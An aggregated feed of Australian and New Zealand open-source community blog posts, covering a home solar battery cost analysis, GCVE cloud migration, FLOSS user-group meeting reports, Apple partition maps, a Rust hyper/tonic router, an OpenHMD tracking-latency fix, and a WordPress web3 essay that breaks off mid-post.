    If I dig a couple of interesting figures out for June and July I see “To Battery” on the Solar view shows 205kWh, and “From Battery” on the Consumption view shows 558kWh. Total consumption in that period was 2,191kWh, with the total “From Grid” reported in System Overview of 2,277kWh. Let’s mess with that a bit.

    Bearing in mind the efficiency numbers mentioned earlier, if 205kWh went to the battery from PV, that means no more than 154kWh of what we got out of the battery was from PV generation (remember: real world DC-DC stack efficiency of about 75%). The remaining 404kWh out of the battery is power that went into it from the grid. And that means at least 538kWh in (404/0.75). Note that total from grid for these two months was 86kWh more than the 2,191kWh used by our loads. If I hadn’t been keeping the battery topped up from the grid, I’d’ve saved at least 134kWh of grid power, which would have brought our grid input figure back down below our consumption figure. Note also that this number will actually be higher in reality because I haven’t factored in AC/DC conversion losses from the Multis.

    Now let’s look at some costs. When I started trying to compare the new system to the previous system, I went in thinking to look at in in terms of total power input to the system, total consumption by loads, and total power exported. There’s one piece missing there, so let’s add another couple of columns to an earlier table:

    YearGrid InSolar InTotal InLoadsExportTotal Outwhat?
    2021-20228,5315,64014,17110,84975411,6032,568

    The total usable output of the system was 11,603kWh for 14,171kWh input. The difference between these two figures – 2,568kWh, or about 18% – went somewhere else. Per my earlier experiment, 5% is power that went to actually operate the system components, including the battery. That means about 13% of the power input to the system over the course of the year must have gone to some combination of charge/discharge and AC/DC conversion (in)efficiencies. We can consider this the energy cost of the system. To have the ability to time-shift expensive peak grid electricity, and to run the house without the grid if the sun is out, or from the battery when it has charge, costs us 18% of the total available energy input.

    Grid power has energy costs too, but we’re not usually aware of this because it happens somewhere else. I haven’t yet found Tasmanian figures, but this 2021 Transmission Annual Planning Report PDF from Powerlink in Queensland has historical figures showing that about 7% of generation there went to auxiliaries, i.e. fans and pumps and things running at the power stations. And according to the Australian Energy Market Operator (AEMO), 10% of grid power generated is lost during transmission and distribution. Stanwell (a power company in Queensland) have a neat explainer of all this on their What’s Watt site.

    Finally, speaking of expensive grid electricity, let’s look at how much we paid Aurora Energy over the past four years for our power. The bills are broken out into different tariffs, for which you’re charged different amounts per kilowatt hour and then there’s an additional daily supply charge, and also credits for power exported. We can simplify that by just taking the total dollar value of all the power bills and dividing that by the total power drawn from the grid to arrive at an effective cost per kilowatt hour for the entire year. Here it is:

    YearFrom GridTotal BillCost/kWh
    2018-20199,031$2,278.33$0.25
    2019-20209,324$2,384.79$0.26
    2020-20217,582$1,921.77$0.25
    2021-20228,531$1,731.40$0.20

    So, the combination of the battery plus the switch from Flat Rate to Peak & Off-Peak billing has reduced the cost of our grid power by about 20%. I call that a win.

    Going forwards it will be interesting to see how the next twelve months go, and, in particular, what we can do to reduce our power consumption. A significant portion of our power is used by a bunch of always-on computer equipment. Some of that I need for my work, and some of that provides internet access, file storage and email for us personally. Altogether, according to the UPSes, this kit pulls 200-250 watts continuously, but will pull more than that during the day when it’s being used interactively. If we call it 250W continuous, that’s a minimum of 6kWh/day, which is 2,190kWh/year, or about 20% of the 2021-2022 consumption. Some of that equipment should be replaced with newer, more power efficient kit. Some of it could possibly even be turned off or put into standby mode some of the time.

    We still need to get a heat pump to replace the 2400W panel heater in our bedroom. That should save a huge amount of power in winter. We’re also slowly working our way through the house installing excellent double glazed windows from Elite Double Glazing, which will save on power for heating and cooling year round.

    And of course, we still need to get that second ZCell.

    Tuesday, 12 July 2022

    Ian BrownHigh Velocity Migrations with GCVE and HCX

    What is HCX? VMware HCX is an application mobility platform designed for simplifying application migration, workload rebalancing and business continuity across datacenters and clouds. VMware HCX was formerly known as Hybrid Cloud Extension and NSX Hybrid Connect. GCVE HCX GCVE deploys the Enterprise version of HCX as part of the cost of the solution. HCX Enterprise has the following benefits: Hybrid Interconnect WAN Optimisation Bulk Migration, Live Migration and HCX Replication Assisted vMotion Cloud to cloud migration Disaster Protection KVM & Hyper-V to vSphere migrations Traffic Engineering Mobility Groups Mobility Optimised Networking Changeover scheduling Definitions Cold Migration

    Tuesday, 5 July 2022

    Ian BrownInfrastructure as Code with Terraform in GCVE

    We have seen a lot of Google Cloud VMware Engine over the last few months and for the entire time we have used click-ops to provision new infrastructure, networks and VM’s. Now we are going to the next level and we will be using Terraform to manage our infrastructure as code so that it is version controlled and predictable. Installing Terraform The first part of getting this working is installing Terraform on your local machine.

    Tuesday, 7 June 2022

    Ian BrownGCVE Backup and Disaster Recovery

    Picking up where we left off last month, let’s dive into disaster recovery and how to use Site Recovery Manager and Google Backup & Protect to DR into and within the cloud with GCVE. But before we do, a quick advertisement: If you are in Brisbane, Australia, I suggest coming to the awesome Google Infrastructure Group (GIG) which focuses on GCVE where on 04 July 2022 I will be presenting on Terraform in GCVE.

    Wednesday, 4 May 2022

    Ian BrownGCVE Advanced Auto-Scaling

    Let’s pick up where we left off from last months article and start setting up some of the features of GCVE, starting with Advanced Autoscaling. What is Advanced Auto-Scaling? Advanced Autoscaling automatically expands or shrinks a private cloud based on CPU, memory and storage utilisation metrics. GCVE monitors the cluster based on the metrics defined in the autoscale policy and decides to add or remove nodes automatically. Remember: GCVE is physical Dell Poweredge servers, not a container/VM running in Docker or on a hypervisor like VMware.

    Friday, 22 April 2022

    BlueHackersFree psychologist service at conferences: April 2022 update

    We’ve done this a number of times over the last decade, from OSDC to LCA. The idea is to provide a free psychologist or counsellor at an in-person conference. Attendees can do an anonymous booking by taking a stickynote (with the timeslot) from a signup sheet, and thus get a free appointment.

    Many people find it difficult taking the first (very important) step towards getting professional help, and we’ve received good feedback that this approach indeed assists.

    So far we’ve always focused on open source conferences. Now we’re moving into information security! First BrisSEC 2022 (Friday 29 April at the Hilton in Brisbane, QLD) and then AusCERT 2022 (10-13 May at the Star Hotel, Gold Coast QLD). The awesome and geek friendly Dr Carla Rogers will be at both events.

    How does this get funded? Well, we’ve crowdfunded some, nudged sponsors, most mostly it gets picked up by the conference organisers (aka indirectly by the sponsors, mostly).

    If you’re a conference organiser, or would like a particular upcoming conference to offer this service, do drop us a line and we’re happy to chase it up for you and help the organisers to make it happen. We know how to run that now.

    In-person is best. But for virtual conferences, sure contact us as well.

    The post Free psychologist service at conferences: April 2022 update first appeared on BlueHackers.org.

    Saturday, 16 April 2022

    FLOSS Down Under - online free software meetingsApril Hack Day Report

    The hack day didn’t go as well as I hoped, but didn’t go too badly. There was smaller attendance than hoped and the discussion was mostly about things other than FLOSS. But everyone who attended had fun and learned interesting things so generally I think it counts as a success. There was discussion on topics including military hardware, viruses (particularly Covid), rocketry, and literature. During the discussion one error in a Wikipedia page was discussed and hopefully we can get that fixed.

    I think that everyone who attended will be interested in more such meetings. Overall I think this is a reasonable start to the Hack Day meetings, when I previously ran such meetings they often ended up being more social events than serious hacking events and that’s OK too.

    One conclusion that we came to regarding meetings is that they should always be well announced in email and that the iCal file isn’t useful for everyone. Discussion continues on the best methods of announcing meetings but I anticipate that better email will get more attendance.

    Monday, 4 April 2022

    Ian BrownIntroduction to GCVE

    What is GCVE? Google Cloud VMware Engine, or GCVE, is a fully managed VMware hypervisor and associated management and networking components, (vSphere, NSX-T, vSAN and HCX) built on top of Google’s highly performant and scalable infrastructure with fully redundant and dedicated 100Gbps networking that provides 99.99% availability. The solution is integrated into Google Cloud Platform, so businesses benefit from having full access to GCP services, native VPC networking, Cloud VPN or Interconnect as well as all the normal security features you expect from GCP.

    Sunday, 6 March 2022

    FLOSS Down Under - online free software meetingsMarch 2022 Meeting

    Meeting Report

    The March 2022 meeting went reasonably well. Everyone seemed to have fun and learn useful things about computers. After 2 hours my Internet connection dropped out which stopped the people who were using VMs from doing the tutorial. Fortunately most people seemed ready for a break so we ended the meeting. The early and abrupt ending of the meeting was a disappointment but it wasn’t too bad, the meeting would probably only have gone for another half hour otherwise.

    The BigBlueButton system was shown to be effective for training when one person got confused with the Debian package configuration options for Postfix and they were able to share the window with everyone else to get advice. I was also confused by that stage.

    Future Meetings

    The main feature of the meeting was training in setting up a mailserver with Postfix, here are the lecture notes for it [1]. The consensus at the end of the meeting was that people wanted more of that for the April meeting. So for the April meeting I will add to the Postfix Training to include SpamAssassin, SPF, DKIM, and DMARC. For the start of the next meeting instead of providing bare Debian installations for the VMs I’ll provide a basic Postfix/Dovecot setup so people can get straight into SpamAssassin etc.

    For the May meeting training on SE Linux was requested.

    Social Media

    Towards the end of the meeting we discussed Matrix and federated social media. LUV has a Matrix server and I can give accounts to anyone who’s involved in FOSS in the Australia and New Zealand area. For Mastodon the NZOSS Mastodon server [2] seems like a good option. I have an account there to try Mastodon, my Mastodon address is @etbe@mastodon.nzoss.nz .

    We are going to make Matrix a primary communication method for the Flounder group, the room is #flounder:luv.asn.au . My Matrix address is @etbe:luv.asn.au .

    Tuesday, 22 February 2022

    FLOSS Down Under - online free software meetingsMailing List

    We now have a mailing list see https://lists.linux.org.au/mailman/listinfo/flounder for information, the address to post to the list is flounder@lists.linux.org.au..

    We also have a new URL for the blog and events. See the right sidebar for the link to the iCal file which can be connected to Google Calendar and most online calendaring systems.

    Saturday, 5 February 2022

    FLOSS Down Under - online free software meetingsFirst Meeting Success

    We just had the first Flounder meeting which went well. Had some interesting discussion of storage technology, I learnt a few new things. Some people did the ZFS training and BTRFS training and we had lots of interesting discussion.

    Andrew Pam gave a summary of new things in Linux and talked about the sites lwn.net, gamingonlinux.com, and cnx-software.com that he uses to find Linux news. One thing he talked about is the latest developments with SteamDeck which is driving Linux support in Steam games. The site protondb.com tracks Linux support in Steam games.

    We had some discussion of BPF, for an introduction to that technology see the BPF lecture from LCA 2022.

    Next Meeting

    The next meeting (Saturday 5th of March 1PM Melbourne time) will focus on running your own mail server which is always of interest to people who are interested in system administration and which is probably of more interest than usual because of Google forcing companies with “a legacy G Suite subscription” to transition to a more expensive “Business family” offering.

    Wednesday, 2 February 2022

    Stewart SmithAdventures in the Apple Partition Map (Part 2 of the continuing adventures with the Apple Power Macintosh 7200/120 PC Compatible)

    I “recently” wrote about obtaining a new (to me, actually quite old) computer over in The Apple Power Macintosh 7200/120 PC Compatible (Part 1). This post is a bit of a detour, but may help others understand why some images they download from the internet don’t work.

    Disk partitioning is (of course) a way to divide up a single disk into multiple volumes (partitions) for different uses. While the idea is similar, computer platforms over the ages have done this in a variety of different ways, with varying formats on disk, and varying limitations. The ones that you’re most likely to be familiar with are the MBR partitioning scheme (from the IBM PC), and the GPT partitioning scheme (common for UEFI systems such as the modern PC and Mac). One you’re less likely to be familiar with is the Apple Partition Map scheme.

    The way all IBM PCs and compatibles worked from the introduction of MS-DOS 2.0 in 1983 until some time after 2005 was the Master Boot Record partitioning scheme. It was outrageously simple: of the first 512 byte sector of a disk, the first 446 bytes was for the bootstrapping code (the “boot sector”), the last 2 bytes were for the magic two bytes telling the BIOS this disk was bootable, and the other 64 bytes were four entries of 16 bytes, each describing a disk partition. The Wikipedia page is a good overview of what it all looks like. Since “four partitions should be enough for anybody” wasn’t going to last, DOS 3.2 introduced “extended partitions” which was just using one of those 4 partitions as another similar data structure that could point to more partitions.

    In the 1980s (similar to today), the Macintosh was, of course, different. The Apple Partition Map is significantly more flexible than the MBR on PCs. For a start, you could have more than four partitions! You could actually have a lot more than four partitions, as the Apple Partition Map is a single 512-byte sector for each partition, and the partition map is itself a partition. Instead of being block 0 (like the MBR is), it actually starts at block 1, and is contiguous (The Driver Descriptor Record is what’s at block 0). So, once created, it’s hard to extend. Typically it’d be created as 64×512-byte entries, for 32kb… which turns out is actually about enough for anyone.

    The Inside Macintosh reference on the SCSI Manager goes through more detail as to these structures. If you’re wondering what language all the coding examples are in, it’s Pascal – which was fairly popular for writing Macintosh applications in back in the day.

    But the actual partition map isn’t the “interesting” part of all this (and yes, the quotation marks are significant here), because Macs are pretty darn finicky about what disks to boot off, which gets to be interesting if you’re trying to find a CD-ROM image on the internet from which to boot, and then use to install an Operating System from.

    Stewart SmithEvery time I program a Mac…

    … the preferred programming language changes.

    I never programmed a 1980s Macintosh actually in the 1980s. It was sometime in the early 1990s that I first experienced Microsoft Basic for the Macintosh. I’d previously (unknowingly at the time as it was branded Commodore) experienced Microsoft BASIC on the Commodore 16, Commodore 64, and even the Apple ][, but the Macintosh version was something else. It let you do some pretty neat things such as construct a GUI with largely the same amount of effort as it took to construct a Text based UI on the micros I was familiar with.

    Okay, to be fair, I’d also dabbled in Microsoft QBasic that came bundled with MS-DOS of the era, which let you do a whole bunch of graphics – so you could theoretically construct a GUI with it. Something I did attempt to do. Programming on the Mac was so much easier to construct a GUI.

    Of course, Microsoft Basic wasn’t the preferred way to program on the Macintosh. At that time it was largely Pascal, with C being something that also existed – but you were going to see Pascal in Inside Macintosh. It was probably somewhat fortuitous that I’d poked at Pascal a bit as something alternate to look at in the high school computing classes. I can only remember using TurboPascal on DOS systems and never actually writing Pascal on the Macintosh.

    By the middle part of the 1990s though, I was firmly incompetently writing C on the Mac. No doubt the quality of my code increased after I’d done some university courses actually covering the language rather than the only practical way I had to attempt to write anything useful being looking at Inside Macintosh examples in Pascal and “C for Dummies” which was very not-Macintosh. Writing C on UNIX/Linux was a lot easier – everything was made for it, including Actual Documentation!

    Anyway, in the early 2000s I ran MacOS X for a bit on my white iBook G3, and did a (very) small amount of any GUI / Project Builder (the precursor to Xcode) related development – instead largely focusing on command line / X11 things. The latest coolness being to use Objective-C to program applications (unless you were bringing over your Classic MacOS Carbon based application, then you could still write C). Enter some (incompetent) Objective-C coding!

    Then Apple went to x86, so the hardware ceased being interesting, and I had no reason to poke at it even as a side effect of having hardware that could run the software stack. Enter a long-ass time of Debian, Ubuntu, and Fedora on laptops.

    Come 2022 though, and (for reasons I should really write up), I’m poking at a Mac again and it’s now Swift as the preferred way to write apps. So, I’m (incompetently) hacking away at Swift code. I have to admit, it’s pretty nice. I’ve managed to be somewhat productive in a relative short amount of time, and all the affordances in the language gear towards the kind of safety that is a PITA when coding in C.

    So this is my WIP utility to be able to import photos from a Shotwell database into the macOS Photos app:

    There’s a lot of rough edges and unknowns left, including how to actually do the import (it looks like there’s going to be Swift code doing AppleScript things as the PhotoKit API is inadequate). But hey, some incompetent hacking in not too much time has a kind-of photo browser thing going on that feels pretty snappy.

    Tuesday, 1 February 2022

    Robert Collinshyper combinators in Rust

    Recently I read Michael Snoyman’s post on combining Axum, Hyper, Tonic and Tower. While his solution worked, it irked me – it seemed like there should be a much tighter solution possible.

    I can deep dive into the code in a later post perhaps, but I think there are four points of difference. One, since the post was written Axum has started boxing its routes : so the enum dispatch approach taken, which delivers low overheads actually has no benefits today.

    Two, while writing out the entire type by hand has some benefits, async code is much more pithy.

    Thirdly, the code in the post is entirely generic, except the routing function itself.

    And fourth, the outer Service<AddrStream> is an unnecessary layer to abstract over: given the similar constraints – the inner Service must take Request<..>, it is possible to just not use a couple of helpers and instead work directly with Service<Request...>.

    So, onto a pithier version.

    First, the app server code itself.

    use std::{convert::Infallible, net::SocketAddr};
    
    use axum::routing::get;
    use hyper::{server::conn::AddrStream, service::make_service_fn};
    use hyper::{Body, Request};
    use tonic::async_trait;
    
    use demo::echo_server::{Echo, EchoServer};
    use demo::{EchoReply, EchoRequest};
    
    struct MyEcho;
    
    #[async_trait]
    impl Echo for MyEcho {
        async fn echo(
            &self,
            request: tonic::Request<EchoRequest>,
        ) -> Result<tonic::Response<EchoReply>, tonic::Status> {
            Ok(tonic::Response::new(EchoReply {
                message: format!("Echoing back: {}", request.get_ref().message),
            }))
        }
    }
    
    #[tokio::main]
    async fn main() {
        let addr = SocketAddr::from(([0, 0, 0, 0], 3000));
    
        let axum_service = axum::Router::new().route("/", get(|| async { "Hello world!" }));
    
        let grpc_service = tonic::transport::Server::builder()
            .add_service(EchoServer::new(MyEcho))
            .into_service();
    
        let both_service =
            demo_router::Router::new(axum_service, grpc_service, |req: &Request<Body>| {
                Ok::<bool, Infallible>(
                    req.headers().get("content-type").map(|x| x.as_bytes())
                        == Some(b"application/grpc"),
                )
            });
    
        let make_service = make_service_fn(move |_conn: &AddrStream| {
            let both_service = both_service.clone();
            async { Ok::<_, Infallible>(both_service) }
        });
    
        let server = hyper::Server::bind(&addr).serve(make_service);
    
        if let Err(e) = server.await {
            eprintln!("server error: {}", e);
        }
    }
    
    

    Note the Router: it takes the two services and Fn to determine which to use on any given request. Then we just drop that composed service into make_service_fn and we’re done.

    Next up we have the Router implementation. This is generic across any two Service<Request<...>> types as long as they are both Into<Bytes> for their Data, and Into<Box<dyn Error>> for errors.

    use std::{future::Future, pin::Pin, task::Poll};
    
    use http_body::combinators::UnsyncBoxBody;
    use hyper::{body::HttpBody, Body, Request, Response};
    use tower::Service;
    
    #[derive(Clone)]
    pub struct Router<First, Second, F> {
        first: First,
        second: Second,
        discriminator: F,
    }
    
    impl<First, Second, F> Router<First, Second, F> {
        pub fn new(first: First, second: Second, discriminator: F) -> Self {
            Self {
                first,
                second,
                discriminator,
            }
        }
    }
    
    impl<First, Second, FirstBody, FirstBodyError, SecondBody, SecondBodyError, F, FErr>
        Service<Request<Body>> for BinaryRouter<First, Second, F>
    where
        First: Service<Request<Body>, Response = Response<FirstBody>>,
        First::Error: Into<Box<dyn std::error::Error + Send + Sync>> + 'static,
        First::Future: Send + 'static,
        First::Response: 'static,
        Second: Service<Request<Body>, Response = Response<SecondBody>>,
        Second::Error: Into<Box<dyn std::error::Error + Send + Sync>> + 'static,
        Second::Future: Send + 'static,
        Second::Response: 'static,
        F: Fn(&Request<Body>) -> Result<bool, FErr>,
        FErr: Into<Box<dyn std::error::Error + Send + Sync>> + Send + 'static,
        FirstBody: HttpBody<Error = FirstBodyError> + Send + 'static,
        FirstBody::Data: Into<bytes::Bytes>,
        FirstBodyError: Into<Box<dyn std::error::Error + Send + Sync>> + 'static,
        SecondBody: HttpBody<Error = SecondBodyError> + Send + 'static,
        SecondBody::Data: Into<bytes::Bytes>,
        SecondBodyError: Into<Box<dyn std::error::Error + Send + Sync>> + 'static,
    {
        type Response = Response<
            UnsyncBoxBody<
                <hyper::Body as HttpBody>::Data,
                Box<dyn std::error::Error + Send + Sync + 'static>,
            >,
        >;
        type Error = Box<dyn std::error::Error + Send + Sync + 'static>;
        type Future =
            Pin<Box<dyn Future<Output = Result<Self::Response, Self::Error>> + Send + 'static>>;
    
        fn poll_ready(
            &mut self,
            cx: &mut std::task::Context<'_>,
        ) -> std::task::Poll<Result<(), Self::Error>> {
            match self.first.poll_ready(cx) {
                Poll::Ready(Ok(())) => match self.second.poll_ready(cx) {
                    Poll::Ready(Ok(())) => Poll::Ready(Ok(())),
                    Poll::Ready(Err(e)) => Poll::Ready(Err(e.into())),
                    Poll::Pending => Poll::Pending,
                },
                Poll::Ready(Err(e)) => Poll::Ready(Err(e.into())),
                Poll::Pending => Poll::Pending,
            }
        }
    
        fn call(&mut self, req: Request<Body>) -> Self::Future {
            let discriminant = { (self.discriminator)(&req) };
            let (first, second) = if matches!(discriminant, Ok(false)) {
                (Some(self.first.call(req)), None)
            } else if matches!(discriminant, Ok(true)) {
                (None, Some(self.second.call(req)))
            } else {
                (None, None)
            };
            let f = async {
                Ok(match discriminant.map_err(Into::into)? {
                    true => second
                        .unwrap()
                        .await
                        .map_err(Into::into)?
                        .map(|b| b.map_data(Into::into).map_err(Into::into).boxed_unsync()),
                    false => first
                        .unwrap()
                        .await
                        .map_err(Into::into)?
                        .map(|b| b.map_data(Into::into).map_err(Into::into).boxed_unsync()),
                })
            };
            Box::pin(f)
        }
    }
    
    

    Interesting things here – I use boxed_unsync to abstract over the body concrete type, and I implement the future using async code rather than as a separate struct. It becomes much smaller even after a few bits of extra type constraining.

    One thing that flummoxed me for a little was the need to capture the future for the underlying response outside of the async block. Failing to do so provokes a 'static requirement which was tricky to debug. Fortunately there is a bug on making this easier to diagnose in rustc already. The underlying problem is that if you create the async block, and then dereference self, the type for impl of .first has to live an arbitrary time. Whereas by capturing the future immediately, only the impl of the future has to live an arbitrary time, and that doesn’t then require changing the signature of the function.

    This is almost worth turning into a crate – I couldn’t see an existing one when I looked, though it does end up rather small – < 100 lines. What do you all think?

    FLOSS Down Under - online free software meetingsFirst Meeting Agenda

    The first meeting will start at 1PM Australian Eastern time (Melbourne/Sydney) which is +1100 on Saturday the 5th of February.

    I will start the video chat an hour early in case someone makes a timezone mistake and gets there an hour before it starts. If anyone else joins early we will have random chat until the start time (deliberately avoiding topics worthy of the main meeting). The link http://b.coker.com.au will redirect to the meeting URL on the day.

    The first scheduled talk is a summary and discussion of free software related news. Anyone who knows of something new that excites them is welcome to speak about it.

    The main event is discussion of storage technology and hands-on training on BTRFS and ZFS for those who are interested. Here are the ZFS training notes and here are the BTRFS training notes. Feel free to do the training exercises on your own VM before the meeting if you wish.

    Then discussion of the future of the group and the use of FOSS social media. While social media is never going to be compulsory some people will want to use it to communicate and we could run some servers for software that is considered good (lots of server capacity is available).

    Finally we have to plan future meetings and decide on which communication methods are desired.

    The BBB instance to be used for the video conference is sponsored by NZOSS and Catalyst Cloud.

    Sunday, 30 January 2022

    FLOSS Down Under - online free software meetingsFlounder Overview

    Flounder is a new free software users group based in the Australia/NZ area. Flounder stands for FLOSS (Free Libre Open Source Software) down under.

    Here is my blog post describing the initial idea, the comment from d3Xt3r suggested the name. Flounder is a group of fish that has species native to Australia and NZ.

    The main aim is to provide educational benefits to free software users via an online meeting that can’t be obtained by watching YouTube videos etc in a scope that is larger than one country. When the pandemic ends we will keep running this as there are benefits to be obtained from a meeting of a wide geographic scope that can’t be obtained by meetings in a single city. People from other countries are welcome to attend but they aren’t the focus of the meeting.

    Until we get a better DNS name the address http://b.coker.com.au will redirect to the BBB instance used for online meetings (the meeting address isn’t yet setup so it redirects to the blog). The aim is that there will always be a short URL for the meeting so anyone who has one device lose contact can quickly type the URL into their backup device.

    The first meeting will be on the 5th of Feb 2022 at 1PM Melbourne time +1100. When we get a proper domain I’ll publish a URL for an iCal file with entries for all meetings. I will also find some suitable way for meeting times to be localised (I’m sure there’s a WordPress plugin for that).

    For the hands-on part of the meetings there will be virtual machine images you can download to run on your own system (tested with KVM, should work with other VM systems) and the possibility of logging in to a running VM. The demonstration VMs will have public IPv6 addresses and will also be available through different ports on a single IPv4 address, having IPv6 on your workstation will be convenient for you but you can survive without it.

    Linux Australia has a list of LUGs in Australia, is there a similar list for NZ? One thing I’d like to see is a list of links for iCal files for all the meetings and also an iCal aggregator that for all iCal feeds of online meetings. I’ll host it myself if necessary, but it’s probably best to do it via Linux Australia (Linux Australasia?) if possible.

    Saturday, 15 January 2022

    Jan SchmidtPulling on a thread

    I’m attending the https://linux.conf.au/ conference online this weekend, which is always a good opportunity for some sideline hacking.

    I found something boneheaded doing that today.

    There have been a few times while inventing the OpenHMD Rift driver where I’ve noticed something strange and followed the thread until it made sense. Sometimes that leads to improvements in the driver, sometimes not.

    In this case, I wanted to generate a graph of how long the computer vision processing takes – from the moment each camera frame is captured until poses are generated for each device.

    To do that, I have a some logging branches that output JSON events to log files and I write scripts to process those. I used that data and produced:

    Pose recognition latency.
    dt = interpose spacing, delay = frame to pose latency

    Two things caught my eye in this graph. The first is the way the baseline latency (pink lines) increases from ~20ms to ~58ms. The 2nd is the quantisation effect, where pose latencies are clearly moving in discrete steps.

    Neither of those should be happening.

    Camera frames are being captured from the CV1 sensors every 19.2ms, and it takes that 17-18ms for them to be delivered across the USB. Depending on how many IR sources the cameras can see, figuring out the device poses can take a different amount of time, but the baseline should always hover around 17-18ms because the fast “device tracking locked” case take as little as 1ms.

    Did you see me mention 19.2ms as the interframe period? Guess what the spacing on those quantisation levels are in the graph? I recognised it as implying that something in the processing is tied to frame timing when it should not be.

    OpenHMD Rift CV1 tracking timing

    This 2nd graph helped me pinpoint what exactly was going on. This graph is cut from the part of the session where the latency has jumped up. What it shows is a ~1 frame delay between when the frame is received (frame-arrival-finish-local-ts) before the initial analysis even starts!

    That could imply that the analysis thread is just busy processing the previous frame and doesn’t get start working on the new one yet – but the graph says that fast analysis is typically done in 1-10ms at most. It should rarely be busy when the next frame arrives.

    This is where I found the bone headed code – a rookie mistake I wrote when putting in place the image analysis threads early on in the driver development and never noticed.

    There are 3 threads involved:

    • USB service thread, reading video frame packets and assembling pixels in framebuffers
    • Fast analysis thread, that checks tracking lock is still acquired
    • Long analysis thread, which does brute-force pose searching to reacquire / match unknown IR sources to device LEDs

    These 3 threads communicate using frame worker queues passing frames between each other. Each analysis thread does this pseudocode:

    while driver_running:
        Pop a frame from the queue
        Process the frame
        Sleep for new frame notification

    The problem is in the 3rd line. If the driver is ever still processing the frame in line 2 when a new frame arrives – say because the computer got really busy – the thread sleeps anyway and won’t wake up until the next frame arrives. At that point, there’ll be 2 frames in the queue, but it only still processes one – so the analysis gains a 1 frame latency from that point on. If it happens a second time, it gets later by another frame! Any further and it starts reclaiming frames from the queues to keep the video capture thread fed – but it only reclaims one frame at a time, so the latency remains!

    The fix is simple:

    while driver_running:
       Pop a frame
       Process the frame
       if queue_is_empty():
         sleep for new frame notification

    Doing that for both the fast and long analysis threads changed the profile of the pose latency graph completely.

    Pose latency and inter-pose spacing after fix

    This is a massive win! To be clear, this has been causing problems in the driver for at least 18 months but was never obvious from the logs alone. A single good graph is worth a thousand logs.

    What does this mean in practice?

    The way the fusion filter I’ve built works, in between pose updates from the cameras, the position and orientation of each device are predicted / updated using the accelerometer and gyro readings. Particularly for position, using the IMU for prediction drifts fairly quickly. The longer the driver spends ‘coasting’ on the IMU, the less accurate the position tracking is. So, the sooner the driver can get a correction from the camera to the fusion filter the less drift we’ll get – especially under fast motion. Particularly for the hand controllers that get waved around.

    Before: Left Controller pose delays by sensor
    After: Left Controller pose delays by sensor

    Poses are now being updated up to 40ms earlier and the baseline is consistent with the USB transfer delay.

    You can also visibly see the effect of the JPEG decoding support I added over Christmas. The ‘red’ camera is directly connected to USB3, while the ‘khaki’ camera is feeding JPEG frames over USB2 that then need to be decoded, adding a few ms delay.

    The latency reduction is nicely visible in the pose graphs, where the ‘drop shadow’ effect of pose updates tailing fusion predictions largely disappears and there are fewer large gaps in the pose observations when long analysis happens (visible as straight lines jumping from point to point in the trace):

    Before: Left Controller poses
    After: Left Controller poses

    Thursday, 13 January 2022

    Colin CharlesThis thing is still on?

    Yes, the blog is still on. January 2004 I moved to WordPress, and it is still here January 2022. I didn’t write much last year (neither here, not experimenting with the Hey blog). I didn’t post anything to Instagram last year either from what I can tell, just a lot of stories.

    August 16 2021, I realised I was 1,000 days till May 12 2024, which is when I become 40. As of today, that leads 850 days. Did I squander the last 150 days? I’m back to writing almost daily in the Hobonichi Techo (I think last year and the year before were mostly washouts; I barely scribbled anything offline).

    I got a new Apple Watch Series 7 yesterday. I can say I used the Series 4 well (79% battery life), purchased in the UK when I broke my Series 0 in Edinburgh airport.

    TripIt stats for last year claimed 95 days on the road. This is of course, a massive joke, but I’m glad I did get to visit London, Lisbon, New York, San Francisco, Los Angeles without issue. I spent a lot of time in Kuantan, a bunch of Langkawi trips, and also, I stayed for many months at the Grand Hyatt Kuala Lumpur during the May lockdowns (I practically stayed there all lockdown).

    With 850 days to go till I’m 40, I have plenty I would like to achieve. I think I’ll write a lot more here. And elsewhere. Get back into the habit of doing. And publishing by learning and doing. No fear. Not that I wasn’t doing, but its time to be prolific with what’s been going on.

    Monday, 13 December 2021

    Friday, 10 December 2021

    Thursday, 9 December 2021

    Gary PendergastWordPress and web3

    Blockchain. Cryptocurrency. Ethereum. NFTs. DAOs. Smart Contracts. web3. It’s impossible to avoid the blockchain hype machine these days, but it’s often just as difficult to decipher what it all means.

    On top of that, discourse around web3 is extremely polarising: everyone involved is very keen to a) pick a team, and b) get you to join their team. If you haven’t picked a team, you must be secretly with the other team.

    Max Read made a compelling argument that the web3 debate is in fact two different debates:

    But, OK, what is the root disagreement, exactly? The way I read it there are two broad “is web3 bullshit?” debates, not just one, centered around the following questions:

    Can the blockchain do anything that other currently existing technology cannot do and/or do anything better or more efficiently than other currently existing technology?

    Will the blockchain form the architecture of the internet of the future (i.e. “web3”), and/or will blockchain-native companies and organizations become important and powerful?

    Max Read — Is web3 bullshit?

    I’m inclined to agree with Max’s analysis here: there’s a technical question, and there’s a business/cultural question. It’s hard to separate the two when every day sees new headlines about millions of dollars being stolen or scammed; or thousands of people putting millions of dollars into highly optimistic ventures. There are extreme positives and extreme negatives happening all the time in the web3 world.

    With that in mind, I want to take a step back from the day-to-day excitement of cryptocurrency and web3, and look at some of the driving philosophies espoused by the movement.

    Philosophies of web3

    There are a lot of differing viewpoints on web3, every individual has a slightly different take on it. There are three broad themes that stand out, however.

    Decentralised

    Blockchain-based technology is inherently distributed (with some esoteric caveats, but we can safely ignore them for now). In a world where the web centres around a handful of major services, where we’ve seen the harm that the likes of Facebook and YouTube can inflict on society, it’s not surprising that decentralisation would be a powerful theme drawing in anyone looking for an alternative.

    Decentralisation isn’t new to the Internet, of course: it’s right there in the name. This giant set of “interconnected networks” has been decentralised from the very beginning. It’s not perfect, of course: oppressive governments can take control of the borders of their portion of the Internet, and we’ve come to rely on a handful of web services to handle the trickier parts of using the web. But fundamentally, that decentralised architecture is still there. I can still set up a web site hosted on my home computer, which anyone in the world could access.

    I don’t do that, however, for the same reason that web3 isn’t immune from centralised services: Centralisation is convenient. Just as we have Facebook, or Google, or Amazon as giant centralised services on the current web, we can already see similar services appearing for web3. For payments, Coinbase has established itself as a hugely popular place exchange cryptocurrencies and traditional currencies. For NFTs, OpenSea is the service where you’ll find nearly every NFT collection. MetaMask keeps all of your crypto-based keys, tokens, and logins in a single “crypto wallet”.

    Centralisation is convenient.

    While web3 proponents give a lot of credence to the decentralised nature of cryptocurrency being a driver of popularity, I’m not so sure. At best, I’m inclined to think that decentralisation is table stakes these days: you can’t even get started as a global movement without a strong commitment to decentralisation.

    But if decentralisation isn’t the key, what is?

    Ownership

    When we talk about ownership in web3, NFTs are clearly the flavour of the month, but recent research indicates that the entire NFT market is massively artificially inflated.

